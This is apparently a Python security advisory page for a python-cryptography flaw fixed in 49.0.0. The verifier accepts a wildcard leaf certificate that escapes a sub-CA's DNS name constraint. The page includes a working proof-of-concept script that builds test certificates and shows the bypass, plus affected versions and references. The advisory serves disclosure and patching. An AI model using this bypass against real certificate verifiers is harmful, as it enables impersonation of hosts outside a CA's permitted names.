PYSEC-2026-3554

Vulnerability from pysec - Published: 2026-08-04 11:34 - Updated: 2026-08-04 13:36
VLAI
Details

Summary

If an intermediate constrained CA permits the DNS name foo.example.com, and the leaf certificate has a wildcard in its DNS SAN of *.example.com, python-cryptography's verifier accepts which allows escaping outside of the permitted names.

PoC

#!/usr/bin/env python3
"""Standalone PoC: pyca's DNSConstraint::matches admits a too-broad wildcard SAN.

Setup:
  Sub-CA permitted constraint: dNSName = foo.example.com
  Leaf SAN:                    dNSName = *.example.com
Expected: rejection (RFC 5280 §4.2.1.10 + standard wildcard semantics).
Observed: pyca accepts; further, asks server-verifier whether the leaf is
authoritative for `bar.example.com` and pyca answers yes — a sub-CA scope
escape.
"""
import datetime
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.x509.verification import (
    PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError,
)

now = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc)
day = datetime.timedelta(days=1)

def build(subject, issuer, key, issuer_key, ca, exts=()):
    b = (x509.CertificateBuilder()
         .subject_name(subject).issuer_name(issuer)
         .public_key(key.public_key())
         .serial_number(x509.random_serial_number())
         .not_valid_before(now - 30 * day)
         .not_valid_after(now + 3650 * day)
         .add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True))
    for e, c in exts:
        b = b.add_extension(e, c)
    return b.sign(issuer_key, hashes.SHA256())

# Root
rk = ec.generate_private_key(ec.SECP256R1())
rn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Test Root")])
root = build(rn, rn, rk, rk, True)

# Sub-CA constrained to foo.example.com
sk = ec.generate_private_key(ec.SECP256R1())
sn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Sub-CA")])
nc = x509.NameConstraints(
    permitted_subtrees=[x509.DNSName("foo.example.com")],
    excluded_subtrees=None,
)
sub = build(sn, rn, sk, rk, True, [(nc, True)])

# Leaf with SAN *.example.com (over-broad relative to the constraint)
lk = ec.generate_private_key(ec.SECP256R1())
ln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Leaf")])
san = x509.SubjectAlternativeName([x509.DNSName("*.example.com")])
leaf = build(ln, sn, lk, sk, False, [(san, False)])

# Policies
ca_pol = ExtensionPolicy.permit_all().require_present(
    x509.BasicConstraints, Criticality.AGNOSTIC, None,
)
ee_pol = ExtensionPolicy.permit_all().require_present(
    x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,
)
v = (
    PolicyBuilder()
    .store(Store([root]))
    .time(now)
    .extension_policies(ca_policy=ca_pol, ee_policy=ee_pol)
    .build_server_verifier(x509.DNSName("bar.example.com"))
)
try:
    v.verify(leaf, [sub])
    print("BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com")
except VerificationError as e:
    print(f"EXPECTED: VerificationError: {e}")

Impact

Acceptance of invalid certificate chain.

Impacted products
Name purl
cryptography pkg:pypi/cryptography

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "cryptography",
        "purl": "pkg:pypi/cryptography"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "49.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.1",
        "0.2",
        "0.2.1",
        "0.2.2",
        "0.3",
        "0.4",
        "0.5",
        "0.5.1",
        "0.5.2",
        "0.5.3",
        "0.5.4",
        "0.6",
        "0.6.1",
        "0.7",
        "0.7.1",
        "0.7.2",
        "0.8",
        "0.8.1",
        "0.8.2",
        "0.9",
        "0.9.1",
        "0.9.2",
        "0.9.3",
        "1.0",
        "1.0.1",
        "1.0.2",
        "1.1",
        "1.1.1",
        "1.1.2",
        "1.2",
        "1.2.1",
        "1.2.2",
        "1.2.3",
        "1.3",
        "1.3.1",
        "1.3.2",
        "1.3.3",
        "1.3.4",
        "1.4",
        "1.5",
        "1.5.1",
        "1.5.2",
        "1.5.3",
        "1.6",
        "1.7",
        "1.7.1",
        "1.7.2",
        "1.8",
        "1.8.1",
        "1.8.2",
        "1.9",
        "2.0",
        "2.0.1",
        "2.0.2",
        "2.0.3",
        "2.1",
        "2.1.1",
        "2.1.2",
        "2.1.3",
        "2.1.4",
        "2.2",
        "2.2.1",
        "2.2.2",
        "2.3",
        "2.3.1",
        "2.4",
        "2.4.1",
        "2.4.2",
        "2.5",
        "2.6",
        "2.6.1",
        "2.7",
        "2.8",
        "2.9",
        "2.9.1",
        "2.9.2",
        "3.0",
        "3.1",
        "3.1.1",
        "3.2",
        "3.2.1",
        "3.3",
        "3.3.1",
        "3.3.2",
        "3.4",
        "3.4.1",
        "3.4.2",
        "3.4.3",
        "3.4.4",
        "3.4.5",
        "3.4.6",
        "3.4.7",
        "3.4.8",
        "35.0.0",
        "36.0.0",
        "36.0.1",
        "36.0.2",
        "37.0.0",
        "37.0.1",
        "37.0.2",
        "37.0.3",
        "37.0.4",
        "38.0.0",
        "38.0.1",
        "38.0.2",
        "38.0.3",
        "38.0.4",
        "39.0.0",
        "39.0.1",
        "39.0.2",
        "40.0.0",
        "40.0.1",
        "40.0.2",
        "41.0.0",
        "41.0.1",
        "41.0.2",
        "41.0.3",
        "41.0.4",
        "41.0.5",
        "41.0.6",
        "41.0.7",
        "42.0.0",
        "42.0.1",
        "42.0.2",
        "42.0.3",
        "42.0.4",
        "42.0.5",
        "42.0.6",
        "42.0.7",
        "42.0.8",
        "43.0.0",
        "43.0.1",
        "43.0.3",
        "44.0.0",
        "44.0.1",
        "44.0.2",
        "44.0.3",
        "45.0.0",
        "45.0.1",
        "45.0.2",
        "45.0.3",
        "45.0.4",
        "45.0.5",
        "45.0.6",
        "45.0.7",
        "46.0.0",
        "46.0.1",
        "46.0.2",
        "46.0.3",
        "46.0.4",
        "46.0.5",
        "46.0.6",
        "46.0.7",
        "47.0.0",
        "48.0.0",
        "48.0.1"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-69248",
    "GHSA-m2h6-j472-rp4c"
  ],
  "details": "### Summary\nIf an intermediate constrained CA permits the DNS name `foo.example.com`, and the leaf certificate has a wildcard in its DNS SAN of `*.example.com`, python-cryptography\u0027s verifier accepts which allows escaping outside of the permitted names.\n\n### PoC\n\n```\n#!/usr/bin/env python3\n\"\"\"Standalone PoC: pyca\u0027s DNSConstraint::matches admits a too-broad wildcard SAN.\n\nSetup:\n  Sub-CA permitted constraint: dNSName = foo.example.com\n  Leaf SAN:                    dNSName = *.example.com\nExpected: rejection (RFC 5280 \u00a74.2.1.10 + standard wildcard semantics).\nObserved: pyca accepts; further, asks server-verifier whether the leaf is\nauthoritative for `bar.example.com` and pyca answers yes \u2014 a sub-CA scope\nescape.\n\"\"\"\nimport datetime\nfrom cryptography import x509\nfrom cryptography.x509.oid import NameOID\nfrom cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.asymmetric import ec\nfrom cryptography.x509.verification import (\n    PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError,\n)\n\nnow = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc)\nday = datetime.timedelta(days=1)\n\ndef build(subject, issuer, key, issuer_key, ca, exts=()):\n    b = (x509.CertificateBuilder()\n         .subject_name(subject).issuer_name(issuer)\n         .public_key(key.public_key())\n         .serial_number(x509.random_serial_number())\n         .not_valid_before(now - 30 * day)\n         .not_valid_after(now + 3650 * day)\n         .add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True))\n    for e, c in exts:\n        b = b.add_extension(e, c)\n    return b.sign(issuer_key, hashes.SHA256())\n\n# Root\nrk = ec.generate_private_key(ec.SECP256R1())\nrn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Test Root\")])\nroot = build(rn, rn, rk, rk, True)\n\n# Sub-CA constrained to foo.example.com\nsk = ec.generate_private_key(ec.SECP256R1())\nsn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Sub-CA\")])\nnc = x509.NameConstraints(\n    permitted_subtrees=[x509.DNSName(\"foo.example.com\")],\n    excluded_subtrees=None,\n)\nsub = build(sn, rn, sk, rk, True, [(nc, True)])\n\n# Leaf with SAN *.example.com (over-broad relative to the constraint)\nlk = ec.generate_private_key(ec.SECP256R1())\nln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Leaf\")])\nsan = x509.SubjectAlternativeName([x509.DNSName(\"*.example.com\")])\nleaf = build(ln, sn, lk, sk, False, [(san, False)])\n\n# Policies\nca_pol = ExtensionPolicy.permit_all().require_present(\n    x509.BasicConstraints, Criticality.AGNOSTIC, None,\n)\nee_pol = ExtensionPolicy.permit_all().require_present(\n    x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,\n)\nv = (\n    PolicyBuilder()\n    .store(Store([root]))\n    .time(now)\n    .extension_policies(ca_policy=ca_pol, ee_policy=ee_pol)\n    .build_server_verifier(x509.DNSName(\"bar.example.com\"))\n)\ntry:\n    v.verify(leaf, [sub])\n    print(\"BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com\")\nexcept VerificationError as e:\n    print(f\"EXPECTED: VerificationError: {e}\")\n```\n\n### Impact\n\nAcceptance of invalid certificate chain.",
  "id": "PYSEC-2026-3554",
  "modified": "2026-08-04T13:36:14.598264Z",
  "published": "2026-08-04T11:34:48.085980Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pyca/cryptography/pull/14888"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pyca/cryptography"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/cryptography"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-m2h6-j472-rp4c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69248"
    }
  ],
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…